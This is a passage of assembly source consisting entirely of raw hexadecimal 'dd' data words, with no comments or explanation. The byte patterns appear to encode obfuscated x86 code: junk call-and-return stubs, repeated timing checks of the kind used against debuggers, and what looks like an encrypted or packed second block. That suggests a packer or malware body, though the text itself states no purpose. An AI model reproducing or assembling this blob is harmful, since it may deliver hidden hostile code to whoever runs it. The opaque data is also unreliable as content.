		dd 0AB969D48h, 8B663466h, 0ED8589FEh, 0F06122Fh, 687h
		dd 0A8EF8100h, 0C6294D40h, 12287185h, 6A6C06h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 90C9FBC3h, 0BD8B581Ah, 6120975h, 1879B589h, 48680612h
		dd 0BA90C1DAh, 60AB17C1h, 0CB243481h, 804BC4AAh, 0B5FFCEEAh
		dd 61203B1h, 8DC8E980h,	123B5D85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 10E9F5h, 0D0C90000h
		dd 0D4994965h, 69B3DA1Fh, 36156413h, 0D0FF4A58h, 9921E981h
		dd 85896068h, 615B574h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 5C35242h, 0DCADA1CFh,	0F30454Ch, 198Ah
		dd 138F0F00h, 0E9000000h, 0Eh, 47026FF3h, 8C2D1BBBh, 0C960904Fh
		dd 0BD83F69Fh, 615B590h, 18850F00h, 6A000001h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8B10C357h, 120E41BDh, 7185C606h, 49061228h, 6880Fh
		dd 9D890000h, 6121319h,	22F99D89h, 54680612h, 60518008h
		dd 13E8h, 0AC952300h, 22D68A0Bh, 0D4D5A0DBh, 0F5ABDB4Bh
		dd 0CC493E19h, 12E8h, 0D3C65700h, 5D297DC1h, 22946FD5h
		dd 40E66161h, 582B12D0h, 5052505Eh, 5A310F52h, 60310F58h
		dd 61585A61h, 95240481h, 8B3A9521h, 0B1B5FFFAh,	6A061203h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0A7EDC356h, 33D25209h, 120E89BDh,	5D858D06h
		dd 8906123Bh, 1201599Dh, 6AD0FF06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 5A3DC355h
		dd 0F15A1A1Ah, 0F781EC71h, 49BE70FCh, 0B5908589h, 6A0615h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0CFB73C3h, 59212533h, 6AF3299Bh, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 80893330h
		dd 2B8B5C44h, 0B96686F7h, 0D08B0ADDh, 8E287568h, 52506040h
		dd 310FCA8Bh, 585AA8B2h, 8161FA8Ah, 38752434h
		dd 0DD80408Eh, 4E891h, 0
		dd 0BF660001h, 665061BDh, 448BC88Bh, 0E3B50424h, 8B53008Bh
		dd 448959FAh, 0BA500424h, 39E854CAh, 8589585Fh,	61210B1h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 35FC70C3h, 5595898Ah, 0FF061231h,	12108195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0FB1CBCBh, 22CB86D7h, 0B5099C3Eh, 61206D9h
		dd 185BD31h, 85890612h,	615B580h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 80C35343h, 7885C730h, 615B5h
		dd 81000000h, 5F459BC2h, 6A006A75h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 9EF9C353h
		dd 0FFD439CCh, 667DE6B4h, 0E84400BFh, 4, 10000h, 0B250CA8Bh
		dd 24448BBEh, 88A0F04h,	0F000000h, 281h, 8B616000h, 8EB96600h
		dd 2444892Bh, 5E804h, 0EA7C0000h, 0E8B3847Ch, 11h, 83A94881h
		dd 0BB466CD3h, 0E83462C8h, 3FB310A1h, 11E8D7h, 59940000h
		dd 0E10A15D0h, 561CA90Bh, 31F4D7CDh, 5F7FB5B1h,	6A585F59h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 3777C350h, 687332FCh, 8B532D27h, 8B5059FAh
		dd 240489D0h, 68F0Fh, 95290000h, 61201C5h, 95890B6Ah, 6121085h
		dd 0B54D858Dh, 0B70F0615h, 8B6690F8h, 525050CBh, 5E8h
		dd 0F8C6D00h, 800F0978h, 0
		dd 0E8310F5Ah, 0Bh, 0D391F37Bh,	4097E89Ah, 0FFFD95Bh, 85h
		dd 585A5F00h, 0F9958B90h, 0FF06122Dh, 12088195h, 8DD18B06h
		dd 15B557B5h, 3840F06h,	0F000000h, 5050CBB7h, 9E86052h
		dd 0C5000000h, 1DCF310Ah, 4FF78A32h, 310F615Eh,	2870Fh
		dd 0F88B0000h, 3489585Ah, 0CA816624h, 0F50AAE0h, 87h, 24048900h
		dd 87D9503h, 95FF0612h,	61209E1h, 0A91F2B9h, 0C00BF558h
		dd 19850Fh, 33600000h, 12142D85h, 0E1B52906h, 61061208h
		dd 6BDE9h, 6D950100h, 0FF061211h, 0D78B66D0h, 0B580B58Bh
		dd 0D58A0615h, 20468DF9h, 541958Bh, 46A0612h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 33C35343h, 0D9818233h
		dd 57732AF4h, 0B156B950h, 4891037h, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0A1E4250Ch
		dd 0CF8AA134h, 0B59095FFh, 55BF0615h, 0B693501h, 31840FC0h
		dd 0F000000h, 33E9FFB7h, 6A000006h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FE9CC351h
		dd 0C181661Ch, 9589155Eh, 6121069h, 207E80h, 600840Fh
		dd 0BA660000h, 31600E1Ch, 12000DB5h, 20468D06h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AFC35141h, 95E0C321h
		dd 820BC4EBh, 2AF18D8Bh, 85890612h, 615B57Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E0C35040h, 61067BFBh
		dd 8B6660DDh, 418D89D9h, 6106121Bh, 58589h, 0AE90612h
		dd 6A000001h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0F62BC350h, 0A9958BDCh, 40061201h
		dd 198F0Fh, 8B0F0000h, 13h, 0EE9h, 0C3B2F600h, 0CD33346Bh
		dd 7AD95CD2h, 901FF282h, 0AE8h,	98D1CF00h, 45E053F6h, 66067C4Ch
		dd 505AD08Bh, 0D08B6660h, 4359BB66h, 46A9061h, 2820Fh
		dd 0A7B50000h, 60606090h, 615E5661h, 5061FB8Bh,	2D4FBA66h
		dd 7F41BA90h, 95FF3F42h, 615B590h, 7E9h, 8FFA9700h, 5D91D5B7h
		dd 2FF18D31h, 0D88B0612h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 9CA44304h
		dd 8B5CFA72h, 1222C58Dh, 0FDB0B06h, 3C84h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 74BD6BCAh, 0C8E845B4h, 0BCB5A4E9h, 0E9D08B66h, 48Eh
		dd 8E9h, 0B9BA7900h, 78761D2Bh,	388056h, 0FF11850Fh, 0C88AFFFFh
		dd 46E9h, 6A4800h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0D20927C3h, 46747780h, 1D870Fh
		dd 0B7600000h, 14E9A7h,	0B0930000h, 50CAB4F3h, 5942704Dh
		dd 0D5487DC6h, 13734BACh, 3B61F9D6h, 15B57C85h,	3E820F06h
		dd 29000000h, 122DBD95h, 5C388006h, 2F840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0ED7D1DC3h, 388049F8h, 76850F2Fh, 33FFFFFFh,	122ACD95h
		dd 0F604006h, 168Ch, 10E800h, 7B7D0000h, 6BB8E070h, 2BD1C04Bh
		dd 9EF1B1B5h, 665FDF74h, 613CD2BBh, 0B584BD83h,	0F000615h
		dd 18584h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 6049E44Dh, 0FE9h,	274E4500h, 0B20CCC23h
		dd 0CAC4FC91h, 0FF7A5440h, 1009B589h, 0F610612h, 0B529D0BFh
		dd 6123079h, 50BEB590h,	90CE8B66h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 83C35343h, 0B5898260h, 61221B5h
		dd 0B5848503h, 9D890615h, 6120939h, 0A70CE781h,	60502C6Ch
		dd 28C0Fh, 0D78B0000h, 24048961h, 11D58D8Bh, 46A0612h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 72C35747h
		dd 99B498EFh, 0C6BA6609h, 901CB560h, 0F27B160h,	48Ch, 3ABE6600h
		dd 505061A7h, 0F43B552h, 5AF48A31h, 6A9058h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2BCB75C3h
		dd 0B345A1B7h, 0B59095FFh, 5FBA0615h, 8B747229h, 99BD29D8h
		dd 5806122Ch, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0D5C35242h, 0DAEE5CB9h,	8BB9E89Ch, 122FFDBDh, 0FDB0B06h
		dd 3284h, 13E95200h, 0C1000000h, 27065902h, 3E2FEEEBh
		dd 0BBB29E07h, 0B44E4084h, 0E959A6A7h, 252h, 0EE9h, 0D49AE700h
		dd 33B05346h, 0B02BB609h, 0C6AB695Bh, 800F0000h, 3, 585ECD80h
		dd 0D4D9501h, 53500612h, 0EE9h,	5BE1FA00h, 0C889EB88h
		dd 9335F770h, 5AD607C6h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3269C351h
		dd 8ACCDAFEh, 6A1E6AF3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 556AC353h, 31A2C705h
		dd 0D38B6617h, 50535290h, 5A310F52h, 505F5958h,	0D19D8990h
		dd 0FF061223h, 15B59095h, 0BE806h, 0D1A40000h, 16B27B07h
		dd 0AFC5332Ch, 25B5895Ch, 5F061229h, 6AD88Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5F2549C3h
		dd 68F1539Dh, 817C42E5h, 0F5C2BCAh, 6A585Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 3BC4FC3h
		dd 7EB79247h, 0DB0BFA8Bh, 2F840Fh, 0CA8B0000h, 139E9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 3F281ABh, 8924E4C1h, 1209B5BDh, 52505006h
		dd 8264BF66h, 97B5310Fh, 489585Ah, 3D8D2924h, 0FF061211h
		dd 15B570B5h, 0FFFB8B06h, 15B57495h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 9C8324C9h
		dd 10E8F323h, 7C000000h, 93C4B3C7h, 0BDB3EE27h,	2D60D44Ch
		dd 89614D73h, 121AAD8Dh, 0C00B5F06h, 4A850Fh, 0CA810000h
		dd 3BCC5070h, 7840F61h,	57000000h, 0C7A520B9h, 85C7592Dh
		dd 615B578h, 1,	83E98FB1h, 6A000000h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0FB6EC351h
		dd 8D8B23F9h, 6121C89h,	55006A61h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0E7BC342h, 0A9BD89E6h
		dd 3061230h, 1228D18Dh,	1CC68106h, 0E9000001h, 0FFFFF97Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 65C35141h
		dd 0BBDA97A2h, 0EF81662Ch, 0B568F588h, 8160A16Ah, 0EAB52434h
		dd 9D8960A1h, 6122D41h,	10E8h, 6F626500h, 8C860E5Bh, 17549B1Eh
		dd 804791FFh, 9ABA6692h, 6A5ADAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 81C35040h, 91F9902h, 8E8h
		dd 189EED00h, 0F259960Bh, 15BF6644h, 0B5FF5AE5h, 615B580h
		dd 2FED95FFh, 80600612h, 9529C6DDh, 6121D61h, 45BD8961h
		dd 8B06122Ah, 15B57885h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 79B617F5h, 14E890h, 0F0660000h
		dd 0CEF181D7h, 793B4C0Ah, 0F4111CB2h, 0B0D5F41Bh, 0F60CEC5h
		dd 86h,	505F6100h, 4ABEBA66h, 8B96690h,	259D29F1h, 8D061230h
		dd 15B58885h, 0F88B6606h, 0EC8A5050h, 2404895Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 4DC35545h, 3F9F93BAh
		dd 45858D01h, 6A0615B5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0BECDC357h,	86B0C0E4h
		dd 94DF8166h, 525050D9h, 38F0Fh, 8B660000h, 0E8310FCEh
		dd 12h,	0BFA507ABh, 91256367h, 0E0Dh, 0C5F66202h, 0D2BAAFF4h
		dd 5A21B056h, 489585Ah,	32BA6624h, 0B595FF7Eh, 8B061212h
		dd 12099595h, 0F8C08B06h, 1B91BD83h, 75000612h,	0DDBD8309h
		dd 61217h, 53501374h, 0D0B8C08Bh, 8D000004h, 14AC4A9Dh
		dd 5BD3FF06h, 0DDBD8358h, 61217h, 53501174h, 4D0B8h, 499D8D00h
		dd 0FF0614ABh, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 6A66C356h, 0E7A0BD7Fh
		dd 697D81ABh, 8B665350h, 8B5959F8h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0FE1076E5h
		dd 15958928h, 66061229h, 58C0B6BFh, 26C5958Bh, 0BD890612h
		dd 61221A1h, 810008C2h,	5C2243E2h, 56C08B5Eh, 0A19D8B60h
		dd 51061217h, 8D5F615Bh, 15B5CB85h, 2CC58006h, 26618589h
		dd 39EB0612h, 0C10000h,	0C102CCh, 0C102E4h, 0
		dd 34767460h, 56F784Dh,	517E706Ch, 3C7574F5h, 3D7F332Ch
		dd 5551DCCh, 51575114h,	21546966h, 394F7371h, 357A7878h
		dd 51717D05h, 5118F5D1h, 0A3B1D41h, 0D924663h, 159A1974h
		dd 510D190Ch, 2581D14h,	360B28C9h, 52DE808Ch, 91901B90h
		dd 0B9491D2Bh, 511B1DA3h, 0BD84770h, 553F49A1h,	553F5995h
		dd 511B1D1Ch, 0A1D84F47h, 0C490106Fh, 57091EA8h, 4A8AA023h
		dd 241B1B42h, 8CA69E21h, 511D0F03h, 24B047Eh, 0E8A3DD8Eh
		dd 0D81B1D86h, 431B98C4h, 5E8690A6h, 0AE1D09FEh, 0D24346FBh
		dd 430CC0A9h, 466F1D0Ch, 0E8A34E55h, 0D81B1D86h, 431B98C4h
		dd 0AF8690A6h, 0AE1D09FAh, 0D84346FBh, 4302E481h, 510FF50Ch
		dd 369C1D05h, 8E06D7B9h, 641CA612h, 1641D503h, 53197D53h
		dd 0DA7DB474h, 919042DEh, 0B94E1D60h, 511B1D06h, 0CD840A2h
		dd 553F71C8h, 553F5921h, 511B1D4Dh, 0B7D8486Dh,	0C912108Eh
		dd 90BE94B4h, 0C09614DAh, 971D0F8Bh, 43336CC4h,	0EB7D4BA6h
		dd 4B737F68h, 0B9263F7Ah, 511B1D13h, 43700CD7h,	0DB753761h
		dd 559A4477h, 0D77D2565h, 71B77FFh, 511B1EB8h, 92453D28h
		dd 756F944Ah, 755F9C0Eh, 511B0901h, 924D5B82h, 0D5DE9D4Ch
		dd 0E4E4F72Ah, 57092DB9h, 51DA90A3h, 0D4961B06h, 570E623Fh
		dd 0AEE3A20Ah, 511CF452h, 0F4ED1D41h, 56E8CC58h, 0B91F776Dh
		dd 511B1D3Ah, 663C4F48h, 0FD62B0A6h, 496A586Ah,	0F04A5E6h
		dd 2AEF6E2h, 3E2E75FAh,	56F3F096h, 0A31B1D28h, 0F67DC12Bh
		dd 5CF38B32h, 0BF1B1D05h, 5E98989Ch, 0DCD08A28h, 0CD587C1h
		dd 559A430Ah, 68BBD60Ch, 61B7706h, 511B1EE2h, 92443D05h
		dd 756794DDh, 755F9C45h, 511B05A4h, 924C5A50h, 0D554DDC1h
		dd 81904E70h, 12C19C55h, 0B9207696h, 511B1D86h,	511B1FADh
		dd 1CA96C6h, 553F59DBh,	5190CCA3h, 51DD1AAAh, 755F9470h
		dd 51714501h, 5118F5D1h, 0A3B1D41h, 0D924663h, 159A1974h
		dd 5103190Ch, 2581D14h,	9FA031C9h, 849B6E69h, 3B1B7799h
		dd 52F34E41h, 711B1DA0h, 0D840DE0Bh, 0D01F3974h, 491F3950h
		dd 121B1D0Ah, 0EA50DE56h, 0D8083C5Dh, 433B58C4h, 0F8A696A6h
		dd 0AE1D0F4Ch, 0C09E94F8h, 0D81D0F02h, 44D31B8Fh, 41B7703h
		dd 511B1E6Ah, 92463D41h, 757794FDh, 755F9C54h, 511B092Ch
		dd 924E5814h, 54E396F7h, 511B1FC9h, 9911980Bh, 91981B54h
		dd 5F9E94B8h, 621D0898h, 53F7A4E8h, 0FBE81D14h,	517146BBh
		dd 5118F552h, 0E3B1D82h, 2D924282h, 159A1984h, 51021974h
		dd 65C1D28h, 0A8501FD7h, 0EB65F059h, 7A406EFEh,	796A9844h
		dd 37581B53h, 55F3E52Bh, 0F1B1D50h, 877A43h, 46EEA272h
		dd 15904D50h, 2DA41921h, 0DA2FD412h, 0A9907D41h, 5E494DC0h
		dd 0B9434761h, 511B1D22h, 0BA325E63h, 0CC3C85D2h, 3041CC2Eh
		dd 755F94E3h, 0A8907B45h, 21B77F8h, 511B1EB8h, 92403D28h
		dd 7547944Fh, 755F9C0Eh, 511B0B01h, 92485E82h, 5E45EC30h
		dd 511B1D2Ah, 511CF550h, 85D41D28h, 608873B1h, 988E949Ch
		dd 0E1D0F09h, 0E4E4ED09h, 57092DA8h, 8D8DF21h, 0D496564Eh
		dd 570E621Dh, 0B9491D7Eh, 511B1D09h, 0BD84725h,	553F490Bh
		dd 553F59C0h, 511B1DB4h, 0ED84F12h, 51189727h, 0DA7D1D14h
		dd 0D07D4DFBh, 0B523FC2h, 5171CD7Dh, 5118F511h,	93B1DA0h
		dd 15924593h, 159A190Ch, 51031930h, 15B1D0Ah, 81CB33C6h
		dd 0D4920F80h, 57090160h, 0B94C1DCAh, 511B1D53h, 0ED84208h
		dd 553F619Dh, 553F598Bh, 511B1D13h, 68D84AC5h, 5BF226CDh
		dd 0AF1B1DA0h, 0A2DDEABBh, 67718A5Ah, 5116F413h, 0A7441D0Ah
		dd 4E9A20DDh, 0A7E41B63h, 0DC162CF9h, 431ED425h, 0D8D0A856h
		dd 4316A8ADh, 61B7712h,	511B1EE2h, 92443D05h, 756794DDh
		dd 755F9C45h, 511B00A4h, 924C5A50h, 5F5C025Fh, 946DDDEEh
		dd 40F2817Eh, 0CB1B1D05h, 7CF60D19h, 0EDCEC5DFh, 3E25DAE1h
		dd 66381DB7h, 796A98EEh, 0D8481B06h, 4331989Fh,	999C7503h
		dd 659AD1C0h, 0A29B4265h, 31B7790h, 511B1EB8h, 92413D28h
		dd 754F944Eh, 755F9C0Eh, 511B0501h, 92495F82h, 7CE82AD5h
		dd 0A0A412F4h, 61F2A8AFh, 0E87D1B3Ah, 0D49658E6h, 570E623Fh
		dd 0B94C1D6Fh, 511B1D81h, 0ED84261h, 553F6129h,	553F59D1h
		dd 511B1D30h, 6FD84A53h, 91D159CCh, 51F2988Ch, 0D84B1B90h
		dd 433200F4h, 0D41A44A6h, 57091CD5h, 5171CDD7h,	5118F542h
		dd 0F3B1D0Ah, 259243C6h, 159A19A6h, 51011965h, 75D1DA0h
		dd 0A6E6993h, 0DF4EBD4h, 48D6989Dh, 0CA11B18h, 9723FC3Ah
		dd 43336C07h, 0EC924E47h, 570909D5h, 387EDE38h,	0DB497DC6h
		dd 5FF344C0h, 0FE1B1D0Ah, 3C292365h, 0C6486614h, 330C9C44h
		dd 0F7A7D99h, 752F9C31h, 676ABC58h, 5114F447h, 0C62D1D0Ah
		dd 19C0970Bh, 0A0E7D171h, 0AF4EE0A2h, 0E492423Bh, 570904C9h
		dd 61F2A8D7h, 51711B06h, 5118F55Fh, 0C3B1D05h, 3D924041h
		dd 159A1965h, 510C1984h, 45E1D50h, 0DD2858EBh, 0D8FA9C81h
		dd 0DC3F03A2h, 44642880h, 14969684h, 0AE1D0F68h, 21B7770h
		dd 511B1EB8h, 92403D28h, 7547944Fh, 755F9C0Eh, 511B0901h
		dd 92485E82h, 0D492E43Ch, 57090709h, 58B688D9h,	0D4DD1B3Ah
		dd 57093565h, 1B774Dh, 511B1EEDh, 92423D82h, 75579418h
		dd 755F9CA4h, 511B0A54h, 924A5C28h, 2D45A02h, 4D569029h
		dd 82731B17h, 1B60AEDh,	82907B13h, 9412CAFh, 2B3F29D1h
		dd 3B01D49Ah, 52F34E14h, 711B1D0Ah, 0D840DE5Eh,	0D01F39DEh
		dd 4C1F3905h, 121B1DA0h, 82FEDE03h, 0C0551AC6h,	3647DD74h
		dd 493AA081h, 0E4E41B17h, 57092D6Bh, 0B9491D2Bh, 511B1DA3h
		dd 0BD84770h, 553F49A1h, 553F5995h, 511B1D13h, 0B8D84F47h
		dd 0F03B1467h, 148E9419h, 0DC1D0FAEh, 446428D5h, 61B772Eh
		dd 511B1EFCh, 92443D0Ah, 7567945Ah, 755F9C86h, 511B0045h
		dd 924C5AA0h, 0A3FEC59Eh, 0DAD80F50h, 81E46774h, 0B94C1D60h
		dd 511B1D06h, 0ED842A2h, 553F61C8h, 553F5921h, 511B1D48h
		dd 4ED84A6Fh, 0FCC57E1Eh, 0D8E2966Ch, 430F3480h, 1B7784h
		dd 511B1EA9h, 92423DA0h, 75579409h, 755F9C2Ch, 511B0A10h
		dd 924A5C0Ah, 0B8F29A14h, 0D4DDCD09h, 57093530h, 389E94E7h
		dd 391D0F73h, 0D4720E96h, 659AC99Eh, 0E418D92Eh, 61B7701h
		dd 511B1E6Ah, 92443D41h, 756794FFh, 755F9C54h, 511B012Ch
		dd 924C5A14h, 0BB00BF0Bh, 0E42AAD24h, 0F8AE147Dh, 0E31D0F55h
		dd 0B8AEE22Ah, 0DA1D0F60h, 4339A8BDh, 0EFC99C12h, 0DC65CA8Bh
		dd 44642880h, 41B7784h,	511B1EA9h, 92463DA0h, 7577940Dh
		dd 755F9C2Ch, 511B0A10h, 924E580Ah, 2DE6D5E9h, 5171CD7Dh
		dd 5118F510h, 83B1DA0h,	1D924493h, 159A190Ch, 51061930h
		dd 5A1D0Ah, 185EAAC6h, 0C8FDC53Bh, 31A238FAh, 50E6A029h
		dd 0DC121B42h, 5709065Dh, 98AC1275h, 4CAA9883h,	51711B17h
		dd 5118F5D7h, 0C3B1D41h, 3D924063h, 159A1974h, 5101190Ch
		dd 45E1D14h, 0FEEDA1C9h, 250BD1C2h, 52EB96E4h, 430484D4h
		dd 209EDBA6h, 161D0F78h, 0B94A1D42h, 511B1D17h,	8D8442Ah
		dd 553F518Ch, 553F5903h, 511B1D5Dh, 0E4D84CE1h,	0E1C117D4h
		dd 24F6F538h, 57B2A825h, 0E6731B18h, 0D04D6756h, 0B9BD3986h
		dd 0DA7D4913h, 0B8AEE252h, 3B1D0F60h, 52F34F28h, 711B1D14h
		dd 0D841DE50h, 0D01F3951h, 4B1F39C6h, 131B1D41h, 74EADEF2h
		dd 7F5F8767h, 539D124Ch
		dd 0DA1B1D14h, 579512DAh, 0DA1B1D05h, 43001437h, 649E9047h
		dd 3B1D08DFh, 52F34D50h, 711B1D28h, 0D843DE4Ch,	0D01F394Eh
		dd 441F3941h, 111B1D82h, 0FE17DE11h, 0EF5DFC21h, 81E44F99h
		dd 4A0AA0A3h, 0D4921B06h, 57091483h, 0B94C1D6Fh, 511B1D81h
		dd 0ED84261h, 553F6129h, 553F59D1h, 511B1D30h, 69D84A53h
		dd 0DF001BCFh, 3BCBE2FCh, 52F34E82h, 711B1D41h,	0D840DEFBh
		dd 0D01F390Ch, 461F396Ch, 121B1D14h, 9CDADE59h,	0D492770Dh
		dd 5709373Bh, 0B94D1D2Bh, 511B1DA3h, 0FD84370h,	553F69A1h
		dd 553F5995h, 511B1D1Fh, 0D5D84B43h, 44AE3EDAh,	371D0F41h
		dd 5171C52Ch, 5118F500h, 93B1D28h, 159245D7h, 159A192Eh
		dd 510C1921h, 15B1D82h,	99AD8982h, 3B1F39B7h, 52F34E50h
		dd 711B1D28h, 0D840DE4Fh, 0D01F3956h, 4C1F3941h, 121B1D82h
		dd 0B655DE12h, 0F206DBD9h, 0FB9697A0h, 9111EDA2h, 525E991Bh
		dd 51711D0Ah, 5118F553h, 0F3B1D82h, 25924382h, 159A1984h
		dd 51011974h, 75D1D28h,	675D8CD7h, 0DDB0D901h, 55CA908Ch
		dd 0D4DD1B90h, 57093530h, 71B77EFh, 511B1EB8h, 92453D28h
		dd 756F944Ah, 755F9C0Eh, 511B0001h, 924D5B82h, 8E481E29h
		dd 92A8E929h, 0DC183EAAh, 57093FFDh, 5592889Dh,	7A731B18h
		dd 3755C0DEh, 0D04DCE3Bh, 0C0823945h, 51716D02h, 5118F507h
		dd 0E3B1D28h, 2D9242D7h, 159A192Eh, 510D1921h, 65C1D82h
		dd 0BFC45F82h, 5A04FF21h, 0E4E41A94h, 57092DC1h, 0B94C1D7Eh
		dd 511B1D09h, 0ED84225h, 553F610Bh, 553F59C0h, 511B1DB8h
		dd 0C9D84A17h, 0B071B5D7h, 511B0DFDh, 6E4D130Ah, 36417555h
		dd 0DDC94056h, 1F071CCBh, 5110F438h, 290D1D50h,	0B7776EDEh
		dd 2BC57B31h, 649E904Bh, 3B1D087Ah, 52F34B82h, 711B1D41h
		dd 0D845DEFEh, 0D01F3924h, 4A1F396Ch, 171B1D14h, 0EC5EDE5Ch
		dd 8BC1C9BBh, 0A990AEE2h, 5171CDBEh, 5118F5F5h,	0C3B1D50h
		dd 3D9240EBh, 159A1930h, 5107192Eh, 45E1D05h, 0FF79D741h
		dd 0AB0E1D28h, 0DAE37A25h, 4331A0C5h, 75DB9E2Eh, 0B94B1D7Eh
		dd 511B1D09h, 9D84525h,	553F590Bh, 553F59C0h, 511B1DBBh
		dd 0C5D84D10h, 0F14DF60h, 0D0E43C87h, 91E07ACBh, 289E9423h
		dd 0A91D0FA1h, 7BA298CAh, 0EF7D1BB2h, 0CC907BB3h, 570914A1h
		dd 0A8D49672h, 8969449h, 0DA1D0F14h, 4A90E599h,	0B94E1D2Bh
		dd 511B1DA3h, 0CD84070h, 553F71A1h, 553F5995h, 511B1D1Fh
		dd 25D84840h, 1CA694AEh, 0D81D0F62h, 431FA815h,	3B009656h
		dd 52F34828h, 711B1D14h, 0D846DE57h, 0D01F3969h, 4C1F39C6h
		dd 141B1D41h, 48D1DEF5h, 0D9AF64B5h, 199FD32h, 4296809Dh
		dd 89281B18h, 0B94B1D6Fh, 511B1D81h, 9D84561h, 553F5929h
		dd 553F59D1h, 511B1D34h, 15D84D54h, 1C94ED44h, 0C2DD0A40h
		dd 4E1AA0B3h, 0CC921B53h, 57092CC5h, 0D4DDEDDBh, 57093559h
		dd 48A69653h, 391D0F21h, 8BEF5163h, 0AA5CA7E4h,	9E3F29C0h
		dd 3B763731h, 52F34850h, 711B1D28h, 0D846DE49h,	0D01F3966h
		dd 461F3941h, 141B1D82h, 3698DE14h, 0D07DAF87h,	0AE221496h
		dd 432BF49Dh, 6C869412h, 0DC1D0F1Fh, 44642880h,	0B8969684h
		dd 0AE1D0F5Eh, 61B7770h, 511B1EB8h, 92443D28h, 7567944Bh
		dd 755F9C0Eh, 511B0701h, 924C5A82h, 0F9995595h,	0D88FC057h
		dd 430F34D5h, 1B772Eh, 511B1EFCh, 92423D0Ah, 7557945Ch
		dd 755F9C86h, 511B0945h, 924A5CA0h, 50A6142Bh, 111D0F02h
		dd 7CDEA89Dh, 0D2141B18h, 511B1D03h, 2953DB03h,	51905583h
		dd 0D492EF2Bh, 570907B5h, 0D3141DA3h, 511B1D10h, 17E3A76Ch
		dd 52E2988Ch, 51711B90h, 5118F516h, 0E3B1DA0h, 2D924293h
		dd 159A190Ch, 510C1930h, 65C1D0Ah, 563E9CC6h, 77A17BCDh
		dd 509CF45Bh, 51711DA0h, 5118F502h, 0B3B1D28h, 59247D7h
		dd 159A192Eh, 510F1921h, 3591D82h, 45F20D82h, 181B1DA0h
		dd 0A46E2A3h, 0B22B2Ch,	0D37136B4h, 8C70B788h, 0DCB272E5h
		dd 44D33107h, 41B7747h,	511B1E48h, 92463D50h, 75779475h
		dd 755F9C10h, 511B010Eh, 924E5805h, 3FBDA146h, 4B597E4Fh
		dd 1D39612h, 0D8E29636h, 5171392Ch, 5118F546h, 0B3B1D0Ah
		dd 59247C6h, 159A19A6h,	51071965h, 3591DA0h, 2122ED93h
		dd 39020A36h, 0D3148349h, 511B1D0Ch, 0DD9F284h,	0E34873CCh
		dd 0C4E44432h, 57093D61h, 0B94B1D3Ah, 511B1D2Bh, 9D84534h
		dd 553F5983h, 553F5984h, 511B1D9Eh, 93D84D01h, 0CDC63203h
		dd 181D8E25h, 0DC90CB9Ah, 57090E3Dh, 55EEA80Bh,	0CC961B17h
		dd 570ED5B0h, 0B94E1D2Bh, 511B1DA3h, 0CD84070h,	553F71A1h
